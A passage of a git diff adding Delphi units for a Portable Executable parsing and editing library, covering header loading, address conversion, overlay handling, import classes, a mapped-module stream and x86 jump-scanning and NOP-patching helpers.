Result := Read(@Buffer, Count); +end; + +function TPEImage.ReadEx(Buffer: Pointer; Count: cardinal): boolean; +begin + Result := Read(Buffer, Count) = Count; +end; + +function TPEImage.ReadEx(var Buffer; Size: cardinal): boolean; +begin + Result := ReadEx(@Buffer, Size); +end; + +function TPEImage.ReadAnsiString: string; +var + Len: integer; +begin + if not ReadAnsiStringLen(0, Len, Result) then + Result := ''; +end; + +function TPEImage.ReadAnsiStringLen(MaxLen: integer; out Len: integer; out Str: string): boolean; +var + available: uint32; + pBegin, pCur, pEnd: PAnsiChar; +begin + Len := 0; + Str := ''; + Result := false; + + if not Assigned(FCurrentSec) then + exit; + + available := FCurrentSec.AllocatedSize - FCurrentOfs; + + if (MaxLen <> 0) and (MaxLen < available) then + available := MaxLen; + + pBegin := @FCurrentSec.Mem[FCurrentOfs]; + pCur := pBegin; + pEnd := pBegin + available; + while pCur < pEnd do + begin + if pCur^ = #0 then + begin + Result := true; + break; + end; + inc(pCur); + end; + + Len := pCur - pBegin; + + if Result then + begin + // String. + Str := string(pBegin); + + // Include null at end. + inc(Len); + + // Move current position. + inc(FPositionRVA, Len); + inc(FCurrentOfs, Len); + end; +end; + +function TPEImage.ReadUnicodeStringLenPfx2: string; +var + Size: uint32; + Bytes: TBytes; +begin + // Check if there is at least 2 bytes for length. + if Assigned(FCurrentSec) and (FCurrentOfs + 2 <= FCurrentSec.AllocatedSize) then + begin + Size := ReadUInt16 * 2; + if Size <> 0 then + begin + // Check if there is enough space to read string. + if FCurrentOfs + Size <= FCurrentSec.AllocatedSize then + begin + SetLength(Bytes, Size); + Read(Bytes[0], Size); + Result := TEncoding.Unicode.GetString(Bytes); + exit; + end; + end; + end; + exit(''); +end; + +function TPEImage.ReadUInt8: UInt8; +begin + if not ReadUInt8(@Result) then + DoReadError; +end; + +function TPEImage.ReadUInt16: UInt16; +begin + if not ReadUInt16(@Result) then + DoReadError; +end; + +function TPEImage.ReadUInt32: uint32; +begin + if not ReadUInt32(@Result) then + DoReadError; +end; + +function TPEImage.ReadUInt64: UInt64; +begin + if not ReadUInt64(@Result) then + DoReadError; +end; + +function TPEImage.ReadUIntPE: UInt64; +begin + if not ReadUIntPE(@Result) then + DoReadError; +end; + +function TPEImage.ReadUInt8(OutData: PUInt8): boolean; +begin + Result := ReadEx(OutData, 1); +end; + +function TPEImage.ReadUInt16(OutData: PUInt16): boolean; +begin + Result := ReadEx(OutData, 2); +end; + +function TPEImage.ReadUInt32(OutData: PUInt32): boolean; +begin + Result := ReadEx(OutData, 4); +end; + +function TPEImage.ReadUInt64(OutData: PUInt64): boolean; +begin + Result := ReadEx(OutData, 8); +end; + +function TPEImage.ReadUIntPE(OutData: PUInt64): boolean; +begin + if OutData <> nil then + OutData^ := 0; + + case ImageBits of + 32: + Result := ReadEx(OutData, 4); + 64: + Result := ReadEx(OutData, 8); + else + begin + DoReadError; + Result := false; // compiler friendly + end; + end; +end; + +function TPEImage.Write(Buffer: Pointer; Count: cardinal): uint32; +begin + Result := ReadWrite(Buffer, Count, false); +end; + +function TPEImage.Write(const Buffer; Count: cardinal): uint32; +begin + Result := Write(@Buffer, Count); +end; + +function TPEImage.WriteEx(Buffer: Pointer; Count: cardinal): boolean; +begin + Result := Write(Buffer, Count) = Count; +end; + +function TPEImage.WriteEx(const Buffer; Count: cardinal): boolean; +begin + Result := Write(@Buffer, Count) = Count; +end; + +function TPEImage.RVAToMem(RVA: TRVA): Pointer; +var + Ofs: integer; + s: TPESection; +begin + if RVAToSec(RVA, @s) and (s.Mem <> nil) then + begin + Ofs := RVA - s.RVA; + exit(@s.Mem[Ofs]); + end; + exit(nil); +end; + +function TPEImage.RVAExists(RVA: TRVA): boolean; +begin + Result := RVAToSec(RVA, nil); +end; + +function TPEImage.RVAToOfs(RVA: TRVA; OutOfs: PDword): boolean; +begin + Result := FSections.RVAToOfs(RVA, OutOfs); +end; + +function TPEImage.RVAToSec(RVA: TRVA; OutSec: PPESection): boolean; +begin + Result := FSections.RVAToSec(RVA, OutSec); +end; + +function TPEImage.RVAToVA(RVA: TRVA): UInt64; +begin + Result := RVA + FOptionalHeader.ImageBase; +end; + +function TPEImage.VAExists(VA: TRVA): boolean; +begin + Result := (VA >= ImageBase) and RVAToSec(VAToRVA(VA), nil); +end; + +function TPEImage.VAToMem(VA: TVA): Pointer; +begin + Result := RVAToMem(VAToRVA(VA)); +end; + +function TPEImage.VAToOfs(VA: TVA; OutOfs: PDword): boolean; +begin + Result := (VA >= ImageBase) and RVAToOfs(VAToRVA(VA), OutOfs); +end; + +function TPEImage.VAToSec(VA: TRVA; OutSec: PPESection): boolean; +begin + Result := (VA >= ImageBase) and RVAToSec(VAToRVA(VA), OutSec); +end; + +function TPEImage.VAToRVA(VA: TVA): TRVA; +begin + if VA >= FOptionalHeader.ImageBase then + Result := VA - FOptionalHeader.ImageBase + else + raise Exception.Create('VAToRVA: VA argument must be >= ImageBase.'); +end; + +function TPEImage.LoadFromFile(const AFileName: string; + AParseStages: TParserFlags): boolean; +var + fs: TFileStream; +begin + if not FileExists(AFileName) then + begin + FMsg.Write(SCategoryLoadFromFile, 'File not found.'); + exit(false); + end; + + fs := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite); + try + FFileName := AFileName; + fs.Position := 0; + Result := LoadFromStream(fs, AParseStages); + finally + fs.Free; + end; +end; + +//function TPEImage.LoadFromMappedImage(const AFileName: string; +// AParseStages: TParserFlags): boolean; +//begin +// FPEMemoryStream := TPEMemoryStream.Create(AFileName); +// Result := LoadFromStream(FPEMemoryStream, AParseStages, PEIMAGE_KIND_MEMORY); +//end; +// +//function TPEImage.LoadFromMappedImage(ModuleBase: NativeUInt; +// AParseStages: TParserFlags): boolean; +//begin +// FPEMemoryStream := TPEMemoryStream.Create(ModuleBase); +// Result := LoadFromStream(FPEMemoryStream, AParseStages, PEIMAGE_KIND_MEMORY); +//end; + +//function TPEImage.LoadFromProcessImage(ProcessId: DWORD; Address: NativeUInt; +// AParseStages: TParserFlags): boolean; +//var +// Stream: TProcessModuleStream; +//begin +// Stream := TProcessModuleStream.CreateFromPidAndAddress(ProcessId, Address); +// try +// Result := LoadFromStream(Stream, AParseStages, PEIMAGE_KIND_MEMORY); +// finally +// Stream.Free; +// end; +//end; + +function TPEImage.LoadFromStream(AStream: TStream; AParseStages: TParserFlags; + ImageKind: TPEImageKind): boolean; +const + PE_HEADER_ALIGN = 4; +var + OptHdrOfs, DataDirOfs, SecHdrOfs, SecHdrEndOfs, SecDataOfs: TFileOffset; + SecHdrGapSize: integer; + OptHdrSizeRead: int32; // w/o directories + Stage: TParserFlag; + Parser: TPEParser; + Signature: TNTSignature; + DOSBlockSize: uint32; +begin + Result := false; + + FImageKind := ImageKind; + FFileSize := AStream.Size; + FParseStages := AParseStages; + + // DOS header. + if not LoadDosHeader(AStream, FDosHeader) then + begin + Msg.Write(SCategoryDOSHeader, 'No DOS header found.'); + exit; + end; + + if (FDosHeader.e_lfanew = 0) then + begin + Msg.Write(SCategoryDOSHeader, 'This is probably 16-bit executable.'); + exit; + end; + + // Check PE ofs < 256 MB (see RtlImageNtHeaderEx) + if (FDosHeader.e_lfanew >= 256 * 1024 * 1024) then + begin + Msg.Write(SCategoryDOSHeader, 'e_lfanew >= 256 MB'); + exit; + end; + + if (FDosHeader.e_lfanew mod PE_HEADER_ALIGN) <> 0 then + begin + Msg.Write(SCategoryDOSHeader, 'PE header is not properly aligned.'); + exit; + end; + + if (FDosHeader.e_lfanew < SizeOf(TImageDOSHeader)) then + begin + Msg.Write(SCategoryDOSHeader, 'e_lfanew points into itself (0x%x)', [FDosHeader.e_lfanew]); + end; + + // Check if e_lfanew is ok + if not StreamSeek(AStream, FDosHeader.e_lfanew) then + exit; // e_lfanew is wrong + + // @ e_lfanew + + // Store offset of NT headers. + FLFANew := FDosHeader.e_lfanew; + + // Read DOS Block + self.FDosBlock := nil; + if FDosHeader.e_lfanew > SizeOf(FDosHeader) then + begin + DOSBlockSize := FDosHeader.e_lfanew - SizeOf(FDosHeader); + SetLength(self.FDosBlock, DOSBlockSize); + if (DOSBlockSize <> 0) then + if StreamSeek(AStream, SizeOf(FDosHeader)) then + begin + if not StreamRead(AStream, self.FDosBlock[0], DOSBlockSize) then + SetLength(self.FDosBlock, 0); + end; + end; + + // Go back to new header. + if not StreamSeek(AStream, FDosHeader.e_lfanew) then + exit; // e_lfanew is wrong + + // Load signature. + if not StreamRead(AStream, Signature, SizeOf(Signature)) then + exit; + + // Check signature. + if not Signature.IsPE00 then + exit; // not PE file + + // Load File Header. + if not LoadFileHeader(AStream, FFileHeader) then + exit; // File Header failed. + + // Get offsets of Optional Header and Section Headers. + OptHdrOfs := AStream.Position; + SecHdrOfs := OptHdrOfs + FFileHeader.SizeOfOptionalHeader; + SecHdrEndOfs := SecHdrOfs + SizeOf(TImageSectionHeader) * FFileHeader.NumberOfSections; + + // Read opt.hdr. magic to know if image is 32 or 64 bit. + AStream.Position := OptHdrOfs; + if not StreamPeek(AStream, FOptionalHeader.Magic, SizeOf(FOptionalHeader.Magic)) then + exit; + + // Set some helper fields. + case FOptionalHeader.Magic of + PE_MAGIC_PE32: + begin + FImageBitSize := 32; + FImageWordSize := 4; + end; + PE_MAGIC_PE32PLUS: + begin + FImageBitSize := 64; + FImageWordSize := 8; + end + else + raise Exception.Create('Image type is unknown.'); + end; + + // Safe read optional header. + OptHdrSizeRead := FOptionalHeader.ReadFromStream(AStream, FImageBitSize, -1); + + // Can't read more bytes then available. + if OptHdrSizeRead > FFileHeader.SizeOfOptionalHeader then + raise Exception.Create('Read size of opt. header > FileHeader.SizeOfOptionalHeader'); + + DataDirOfs := AStream.Position; + + // Load Section Headers. + AStream.Position := SecHdrOfs; + if not LoadSectionHeaders(AStream) then + exit; + + // Add header as a section. + //LoadingAddHeaderAsASection(AStream); + + // Read data directories. + if OptHdrSizeRead <> 0 then + begin + AStream.Position := DataDirOfs; + + FDataDirectories.LoadDirectoriesFromStream(AStream, Msg, + FOptionalHeader.NumberOfRvaAndSizes, // declared count + FFileHeader.SizeOfOptionalHeader - OptHdrSizeRead // bytes left in optional header + ); + end; + + // Mapped image can't have overlay, so correct total size. + if FImageKind = PEIMAGE_KIND_MEMORY then + FFileSize := CalcRawSizeOfImage; + + // Read COFF. + FCOFF.LoadFromStream(AStream); + + // Convert /%num% section names to long names if possible. + ResolveSectionNames; + + // Read Gap after Section Header. + if FSections.Count <> 0 then + begin + SecDataOfs := FSections.First.RawOffset; + if SecDataOfs >= SecHdrEndOfs then + begin + SecHdrGapSize := SecDataOfs - SecHdrEndOfs; + SetLength(self.FSecHdrGap, SecHdrGapSize); + if SecHdrGapSize <> 0 then + begin + AStream.Position := SecHdrEndOfs; + AStream.Read(self.FSecHdrGap[0], SecHdrGapSize); + end; + end; + end; + + Result := true; + + // Load section data. + LoadSectionData(AStream); + + // Now base headers loaded. + // Define regions loaded before. + + // Execute parsers. + if AParseStages <> [] then + begin + for Stage in AParseStages do + if Assigned(FParsers[Stage]) then + begin + Parser := FParsers[Stage].Create(self); + try + case Parser.Parse of + PR_ERROR: + Msg.Write('[%s] Parser returned error.', [Parser.ToString]); + PR_SUSPICIOUS: + Msg.Write('[%s] Parser returned status SUSPICIOUS.', + [Parser.ToString]); + end; + finally + Parser.Free; + end; + end; + end; +end; + +procedure TPEImage.LoadingAddHeaderAsASection(Stream: TStream); +var + sh: TImageSectionHeader; + Sec: TPESection; + oldPos: int64; +begin + oldPos := Stream.Position; + try + sh.Clear; + sh.Name := 'header'; + sh.SizeOfRawData := FOptionalHeader.SizeOfHeaders; + sh.VirtualSize := AlignUp(FOptionalHeader.SizeOfHeaders, FOptionalHeader.SectionAlignment); + + Sec := TPESection(TPESectionImageHeader.Create(sh, nil)); + + FSections.Insert(0, Sec); + + Stream.Position := 0; + Stream.Read(Sec.Mem^, sh.SizeOfRawData); + finally + Stream.Position := oldPos; + end; +end; + +function TPEImage.SaveToStream(AStream: TStream; SavingModifiedImage : Boolean = False): boolean; +begin + Result := PE.Image.Saving.SaveImageToStream(self, AStream, SavingModifiedImage); +end; + +function TPEImage.SaveToFile(const AFileName: string): boolean; +var + fs: TFileStream; +begin + fs := TFileStream.Create(AFileName, fmCreate); + try + Result := SaveToStream(fs); + finally + fs.Free; + end; +end; + +function TPEImage.GetOptionalHeader: PPEOptionalHeader; +begin + Result := @self.FOptionalHeader; +end; + +function TPEImage.GetOverlay: POverlay; +var + lastSec: TPESection; +begin + lastSec := GetLastSectionWithValidRawData; + + if (lastSec <> nil) then + begin + FOverlay.Offset := lastSec.GetEndRawOffset; // overlay offset + + // Check overlay offet present in file. + if FOverlay.Offset < FFileSize then + begin + FOverlay.Size := FFileSize - FOverlay.Offset; + exit(@FOverlay); + end; + end; + + exit(nil); +end; + +function TPEImage.GetLastSectionWithValidRawData: TPESection; +var + i: integer; +begin + for i := FSections.Count - 1 downto 0 do + if (FSections[i].RawOffset <> 0) and (FSections[i].RawSize <> 0) then + exit(FSections[i]); + exit(nil); +end; + +function TPEImage.SaveOverlayToFile(const AFileName: string; + Append: boolean = false): boolean; +var + src, dst: TStream; + ovr: POverlay; +begin + Result := false; + + ovr := GetOverlay; + if Assigned(ovr) then + begin + // If no overlay, we're done. + if ovr^.Size = 0 then + exit(true); + try + src := SourceStreamGet(fmOpenRead or fmShareDenyWrite); + + if Append and FileExists(AFileName) then + begin + dst := TFileStream.Create(AFileName, fmOpenReadWrite or fmShareDenyWrite); + dst.Seek(0, soFromEnd); + end + else + dst := TFileStream.Create(AFileName, fmCreate); + + try + src.Seek(ovr^.Offset, TSeekOrigin.soBeginning); + dst.CopyFrom(src, ovr^.Size); + Result := true; + finally + SourceStreamFree(src); + dst.Free; + end; + except + end; + end; +end; + +function TPEImage.RemoveOverlay: boolean; +var + ovr: POverlay; + fs: TFileStream; +begin + Result := false; + + if FImageKind = PEIMAGE_KIND_MEMORY then + begin + FMsg.Write('Can''t remove overlay from mapped image.'); + exit; + end; + + ovr := GetOverlay; + if (ovr <> nil) and (ovr^.Size <> 0) then + begin + try + fs := TFileStream.Create(FFileName, fmOpenWrite or fmShareDenyWrite); + try + fs.Size := fs.Size - ovr^.Size; // Trim file. + self.FFileSize := fs.Size; // Update filesize. + Result := true; + finally + fs.Free; + end; + except + end; + end; +end; + +function TPEImage.LoadOverlayFromFile(const AFileName: string; Offset, + Size: UInt64): boolean; +var + ovr: POverlay; + fs: TFileStream; + src: TStream; + newImgSize: uint32; +begin + Result := false; + + if FImageKind = PEIMAGE_KIND_MEMORY then + begin + FMsg.Write('Can''t append overlay to mapped image.'); + exit; + end; + + fs := TFileStream.Create(FFileName, fmOpenWrite or fmShareDenyWrite); + src := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite); + try + if (Offset = 0) and (Size = 0) then + Size := src.Size; + if Size <> 0 then + begin + if (Offset + Size) > src.Size then + exit(false); + src.Position := Offset; + + ovr := GetOverlay; + if (ovr <> nil) and (ovr^.Size <> 0) then + fs.Size := fs.Size - ovr^.Size // Trim file. + else + begin + newImgSize := CalcRawSizeOfImage(); + fs.Size := newImgSize; + end; + + fs.Position := fs.Size; + + fs.CopyFrom(src, Size); + + self.FFileSize := fs.Size; // Update filesize. + end; + Result := true; + finally + src.Free; + fs.Free; + end; +end; + +end. diff --git a/Core/PE/PE.Image.x86.pas b/Core/PE/PE.Image.x86.pas new file mode 100755 index 0000000..a32c226 --- /dev/null +++ b/Core/PE/PE.Image.x86.pas @@ -0,0 +1,223 @@ +{ + * + * Class for X86, X86-64 specifics. + * +} +unit PE.Image.x86; + +interface + +uses + System.Generics.Collections, + System.SysUtils, + PE.Common, + PE.Image, + PE.Section; + +type + // Buf points to data which should be matched. + // Set MatchedSize to size of matched sequence. If nothing matched don't set it. + // VA is address to be matched. + // Size is size left in scanned region you can check starting from VA. + TPatternMatchFunc = reference to procedure(VA: TVA; Size: integer; Buf: PByte; var MatchedSize: integer); + + TPEImageX86 = class(TPEImage) + protected + // Find relative jump or call in section, e.g e8,x,x,x,x or e9,x,x,x,x. + // List must be created before passing it to the function. + // Found VAs will be appended to list. + function FindRelativeJumpInternal( + const Sec: TPESection; + ByteOpcode: Byte; + TargetVA: TVA; + const List: TList<TVA>): boolean; + public + function FindRelativeJump( + const Sec: TPESection; + TargetVA: TVA; + const List: TList<TVA>): boolean; + + function FindRelativeCall( + const Sec: TPESection; + TargetVA: TVA; + const List: TList<TVA>): boolean; + + // Fill Count bytes at VA with nops (0x90). + // Result is number of nops written. + function Nop(VA: TVA; Count: integer = 1): UInt32; + + // Nop range. + // BeginVA: inclusive + // EndVA: exclusive + function NopRange(BeginVA, EndVA: TVA): UInt32; inline; + + // Nop Call or Jump. + function NopCallOrJump(VA: TVA): boolean; + + // Write call or jump, like: + // E8/E9 xx xx xx xx + // IsCall: True - call, False - jump. + function WriteRelCallOrJump(SrcVA, DstVA: TVA; IsCall: boolean): boolean; + + // Perform custom pattern matching scan for Sec section. + // All found addresses are stored in List (if it is not nil, otherwise + // user must handle it manually). + // PatternMatchFunc function used to match pattern. + // VA0, Size define range (optional). Whole section is scanned by default. + function ScanRange( + const Sec: TPESection; + PatternMatchFunc: TPatternMatchFunc; + const List: TList<TVA> = nil; + VA: TVA = 0; + Size: integer = 0 + ): boolean; + end; + +implementation + +const + OPCODE_NOP = $90; + OPCODE_CALL_REL = $E8; + OPCODE_JUMP_REL = $E9; + + { TPEImageX86 } + +function TPEImageX86.FindRelativeCall( + const Sec: TPESection; + TargetVA: TVA; + const List: TList<TVA>): boolean; +begin + Result := FindRelativeJumpInternal(Sec, OPCODE_CALL_REL, TargetVA, List); +end; + +function TPEImageX86.FindRelativeJump( + const Sec: TPESection; + TargetVA: TVA; + const List: TList<TVA>): boolean; +begin + Result := FindRelativeJumpInternal(Sec, OPCODE_JUMP_REL, TargetVA, List); +end; + +function TPEImageX86.FindRelativeJumpInternal( + const Sec: TPESection; + ByteOpcode: Byte; + TargetVA: TVA; + const List: TList<TVA>): boolean; +var + curVa, VA0, VA1, tstVa: TVA; + delta: int32; + opc: Byte; +begin + Result := False; + + VA0 := RVAToVA(Sec.RVA); + VA1 := RVAToVA(Sec.GetEndRVA - SizeOf(ByteOpcode) - SizeOf(delta)); + + if not SeekVA(VA0) then + exit(False); + + while self.PositionVA <= VA1 do + begin + curVa := self.PositionVA; + + // get opcode + if Read(@opc, SizeOf(ByteOpcode)) <> SizeOf(ByteOpcode) then + exit; + if opc = ByteOpcode then + // on found probably jmp/call + begin + delta := int32(ReadUInt32); + tstVa := curVa + SizeOf(ByteOpcode) + SizeOf(delta) + delta; + if tstVa = TargetVA then + begin // hit + List.Add(curVa); + Result := True; // at least 1 result is ok + end + else + begin + if not SeekVA(curVa + SizeOf(ByteOpcode)) then + exit; + end; + end; + end; +end; + +function TPEImageX86.Nop(VA: TVA; Count: integer): UInt32; +begin + Result := Sections.FillMemory(VAToRVA(VA), Count, OPCODE_NOP); +end; + +function TPEImageX86.NopRange(BeginVA, EndVA: TVA): UInt32; +begin + if EndVA > BeginVA then + Result := Nop(BeginVA, EndVA - BeginVA) + else + Result := 0; +end; + +function TPEImageX86.ScanRange( + const Sec: TPESection; + PatternMatchFunc: TPatternMatchFunc; + const List: TList<TVA>; + VA: TVA; + Size: integer): boolean; +var + Buf: PByte; + MatchedSize: integer; +begin + // Define range. + if VA = 0 then + VA := RVAToVA(Sec.RVA); + if Size = 0 then + Size := Sec.VirtualSize; + + // Start scan at VA0. + Buf := self.VAToMem(VA); + if Buf = nil then + exit(False); // such address not found + + while Size > 0 do + begin + MatchedSize := 0; + PatternMatchFunc(VA, Size, Buf, MatchedSize); + if MatchedSize <> 0 then + begin + if Assigned(List) then + List.Add(VA); + end + else + MatchedSize := 1; + + inc(Buf, MatchedSize); + inc(VA, MatchedSize); + dec(Size, MatchedSize); + end; + + exit(True); +end; + +function TPEImageX86.NopCallOrJump(VA: TVA): boolean; +begin + Result := Sections.FillMemoryEx(VAToRVA(VA), 5, True, OPCODE_NOP) = 5; +end; + +function TPEImageX86.WriteRelCallOrJump(SrcVA, DstVA: TVA; IsCall: boolean): boolean; +type + TJump = packed record + Opcode: Byte; + delta: integer; + end; +var + jmp: TJump; + +begin + if IsCall then + jmp.Opcode := OPCODE_CALL_REL + else + jmp.Opcode := OPCODE_JUMP_REL; + jmp.delta := DstVA - (SrcVA + SizeOf(TJump)); + self.PositionVA := SrcVA; + Result := self.WriteEx(@jmp, SizeOf(TJump)); +end; + +end. diff --git a/Core/PE/PE.Imports.Func.pas b/Core/PE/PE.Imports.Func.pas new file mode 100755 index 0000000..4c922eb --- /dev/null +++ b/Core/PE/PE.Imports.Func.pas @@ -0,0 +1,46 @@ +unit PE.Imports.Func; + +interface + +uses + Generics.Collections, + SysUtils, + PE.Common; + +type + TPEImportFunction = class + public + Ordinal: uint16; + Name: String; + procedure Clear; inline; + constructor CreateEmpty; + constructor Create(const Name: String; Ordinal: uint16 = 0); + end; + + TPEImportFunctionDelayed = class(TPEImportFunction) + public + end; + + TPEImportFunctions = TObjectList<TPEImportFunction>; + +implementation + +{ TImportFunction } + +procedure TPEImportFunction.Clear; +begin + self.Ordinal := 0; + self.Name := ''; +end; + +constructor TPEImportFunction.Create(const Name: String; Ordinal: uint16); +begin + self.Name := Name; + self.Ordinal := Ordinal; +end; + +constructor TPEImportFunction.CreateEmpty; +begin +end; + +end. diff --git a/Core/PE/PE.Imports.Lib.pas b/Core/PE/PE.Imports.Lib.pas new file mode 100755 index 0000000..24f97d8 --- /dev/null +++ b/Core/PE/PE.Imports.Lib.pas @@ -0,0 +1,95 @@ +unit PE.Imports.Lib; + +interface + +uses + Classes,sysutils, + PE.Common, + PE.Imports.Func; + +type + TPEImportLibrary = class + private + FName: String; // imported library name + FBound: Boolean; + FFunctions: TPEImportFunctions; + FTimeDateStamp: uint32; + FOriginal: boolean; + procedure CheckAddingToOriginalLib; + public + // Relative address of IAT region for this library. + // It is address of first word in array of words (4/8 bytes) corresponding + // to each imported function in same order as in Functions list. + // + // Each RVA is patched by loader if it's mapped into process memory. + // + // If image is not bound loader get address of function and write it at RVA. + // If image is bound nothing changed because value at RVA is already set. + // + // This value is modified when import directory parsed on loading or + // when import directory is rebuilt. + IatRva: TRVA; + + constructor Create(const AName: String; Bound: Boolean = False; + Original: Boolean = False); + + destructor Destroy; override; + + function NewFunction(const Name: string): TPEImportFunction; overload; + function NewFunction(Ordinal: uint16): TPEImportFunction; overload; + + property Name: String read FName; + + // List of imported functions. + // Order must be kept to match array of words at IatRva. + property Functions: TPEImportFunctions read FFunctions; + + property Bound: Boolean read FBound; + property TimeDateStamp: uint32 read FTimeDateStamp write FTimeDateStamp; + + // True if it is library parsed from executable. + // You can't add new functions to this library, because IAT must stay untouched. + // Add new library instead. + property Original: boolean read FOriginal; + end; + +implementation + +{ TImportLibrary } + +constructor TPEImportLibrary.Create(const AName: String; Bound: Boolean; Original: Boolean); +begin + inherited Create; + FFunctions := TPEImportFunctions.Create; + FName := AName; + FBound := Bound; + FOriginal := Original; +end; + +destructor TPEImportLibrary.Destroy; +begin + FFunctions.Free; + inherited; +end; + +procedure TPEImportLibrary.CheckAddingToOriginalLib(); +begin + if (Original) then + raise Exception.Create('You can''t add new function to original library.'); +end; + +function TPEImportLibrary.NewFunction(const Name: string): TPEImportFunction; +begin + CheckAddingToOriginalLib(); + Result := TPEImportFunction.Create(Name); + FFunctions.Add(Result); +end; + +function TPEImportLibrary.NewFunction(Ordinal: uint16): TPEImportFunction; +begin + CheckAddingToOriginalLib(); + Result := TPEImportFunction.Create('', Ordinal); + FFunctions.Add(Result); +end; + +end. diff --git a/Core/PE/PE.Imports.pas b/Core/PE/PE.Imports.pas new file mode 100755 index 0000000..303644e --- /dev/null +++ b/Core/PE/PE.Imports.pas @@ -0,0 +1,63 @@ +unit PE.Imports; + +interface + +uses + Generics.Collections, + SysUtils, + + PE.Common, + PE.Imports.Func, + PE.Imports.Lib; + +type + TPEImportLibraryObjectList = TObjectList<TPEImportLibrary>; + + TPEImport = class + private + FLibs: TPEImportLibraryObjectList; + public + constructor Create; + destructor Destroy; override; + + procedure Clear; + + function Add(Lib: TPEImportLibrary): TPEImportLibrary; inline; + function NewLib(const Name: string): TPEImportLibrary; + + property Libs: TPEImportLibraryObjectList read FLibs; + end; + +implementation + +{ TPEImports } + +constructor TPEImport.Create; +begin + inherited Create; + FLibs := TPEImportLibraryObjectList.Create; +end; + +destructor TPEImport.Destroy; +begin + FLibs.Free; + inherited; +end; + +function TPEImport.NewLib(const Name: string): TPEImportLibrary; +begin + result := Add(TPEImportLibrary.Create(Name)); +end; + +procedure TPEImport.Clear; +begin + FLibs.Clear; +end; + +function TPEImport.Add(Lib: TPEImportLibrary): TPEImportLibrary; +begin + FLibs.Add(Lib); + result := Lib; +end; + +end. diff --git a/Core/PE/PE.MemoryStreamxxx.pas b/Core/PE/PE.MemoryStreamxxx.pas new file mode 100755 index 0000000..e0439ae --- /dev/null +++ b/Core/PE/PE.MemoryStreamxxx.pas @@ -0,0 +1,205 @@ +{ + Memory Stream based on already mapped PE image in current process. + Basically it's TMemoryStream with Memory pointing to ImageBase and Size equal + to SizeOfImage. +} +unit PE.MemoryStream; + +interface + +uses + Classes, + SysUtils; + +type + TPECustomMemoryStream = class(TStream) + protected + FMemory: Pointer; + FSize, FPosition: NativeInt; + public + constructor CreateFromPointer(Ptr: Pointer; Size: integer); + + procedure SetPointer(Ptr: Pointer; const Size: NativeInt); + + function Seek(const Offset: Int64; Origin: TSeekOrigin): Int64; override; + + function Read(var Buffer; Count: Longint): Longint; override; + function Write(const Buffer; Count: integer): integer; override; + + procedure SaveToStream(Stream: TStream); virtual; + procedure SaveToFile(const FileName: string); + + property Memory: Pointer read FMemory; + end; + + TPEMemoryStream = class(TPECustomMemoryStream) + private + FModuleToUnload: HMODULE; // needed if module loading is forced. + FModuleFileName: string; + FModuleSize: uint32; + private + procedure CreateFromModulePtr(ModulePtr: Pointer); + public + // Create stream from module in current process. + // If module is not found exception raised. + // To force loading module set ForceLoadingModule to True. + constructor Create(const ModuleName: string; ForceLoadingModule: boolean = False); overload; + + // Create from module by known base address. + constructor Create(ModuleBase: NativeUInt); overload; + + destructor Destroy; override; + + // Simply read SizeOfImage from memory. + class function GetModuleImageSize(ModulePtr: PByte): uint32; static; + end; + +implementation + +uses + PE.Types.DosHeader, + PE.Types.NTHeaders; + +{ TPECustomMemoryStream } + +procedure TPECustomMemoryStream.SetPointer(Ptr: Pointer; const Size: NativeInt); +begin + FMemory := Ptr; + FSize := Size; + FPosition := 0; +end; + +constructor TPECustomMemoryStream.CreateFromPointer(Ptr: Pointer; Size: integer); +begin + inherited Create; + SetPointer(Ptr, Size); +end; + +procedure TPECustomMemoryStream.SaveToFile(const FileName: string); +var + Stream: TStream; +begin + Stream := TFileStream.Create(FileName, fmCreate); + try + SaveToStream(Stream); + finally + Stream.Free; + end; +end; + +procedure TPECustomMemoryStream.SaveToStream(Stream: TStream); +begin + if FSize <> 0 then + Stream.WriteBuffer(FMemory^, FSize); +end; + +function TPECustomMemoryStream.Seek(const Offset: Int64; Origin: TSeekOrigin): Int64; +begin + case Origin of + soBeginning: + FPosition := Offset; + soCurrent: + Inc(FPosition, Offset); + soEnd: + FPosition := FSize + Offset; + end; + Result := FPosition; +end; + +function TPECustomMemoryStream.Read(var Buffer; Count: integer): Longint; +begin + if Count = 0 then + Exit(0); + Result := FSize - FPosition; + if Result > 0 then + begin + if Result > Count then + Result := Count; + Move(PByte(FMemory)[FPosition], Buffer, Result); + Inc(FPosition, Result); + end; +end; + +function TPECustomMemoryStream.Write(const Buffer; Count: integer): integer; +begin + if Count = 0 then + Exit(0); + Result := FSize - FPosition; + if Result > 0 then + begin + if Result > Count then + Result := Count; + Move(Buffer, PByte(FMemory)[FPosition], Result); + Inc(FPosition, Result); + end; +end; + +{ TPEMemoryStream } + +procedure TPEMemoryStream.CreateFromModulePtr(ModulePtr: Pointer); +begin + if ModulePtr = nil then + raise Exception.CreateFmt('Module "%s" not found in address space', + [FModuleFileName]); + + FModuleSize := TPEMemoryStream.GetModuleImageSize(ModulePtr); + + SetPointer(ModulePtr, FModuleSize); +end; + +constructor TPEMemoryStream.Create(const ModuleName: string; + ForceLoadingModule: boolean); +var + FModulePtr: Pointer; +begin + inherited Create; + FModuleFileName := ModuleName; + + FModulePtr := Pointer(GetModuleHandle(PChar(ModuleName))); + FModuleToUnload := 0; + + if (FModulePtr = nil) and (ForceLoadingModule) then + begin + FModuleToUnload := LoadLibrary(PChar(ModuleName)); + FModulePtr := Pointer(FModuleToUnload); + end; + + CreateFromModulePtr(FModulePtr); +end; + +constructor TPEMemoryStream.Create(ModuleBase: NativeUInt); +begin + inherited Create; + FModuleFileName := GetModuleName(ModuleBase); + + FModuleToUnload := 0; // we didn't load it and won't free it + + CreateFromModulePtr(Pointer(ModuleBase)); +end; + +destructor TPEMemoryStream.Destroy; +begin + if FModuleToUnload <> 0 then + FreeLibrary(FModuleToUnload); + inherited; +end; + +class function TPEMemoryStream.GetModuleImageSize(ModulePtr: PByte): uint32; +var + dos: PImageDOSHeader; + nt: PImageNTHeaders; +begin + dos := PImageDOSHeader(ModulePtr); + + if not dos.e_magic.IsMZ then + raise Exception.Create('Not PE image'); + + nt := PImageNTHeaders(ModulePtr + dos^.e_lfanew); + + if not nt.Signature.IsPE00 then + raise Exception.Create('Not PE image'); + + Result := nt^.OptionalHeader.pe32.SizeOfImage; +end; + +end. diff --git a/Core/PE/PE.Msg.pas b/Core/PE/PE.Msg.pas new file mode 100755 index 0000000..d5be7c1 --- /dev/null +++ b/Core/PE/PE.Msg.pas @@ -0,0 +1,57 @@ 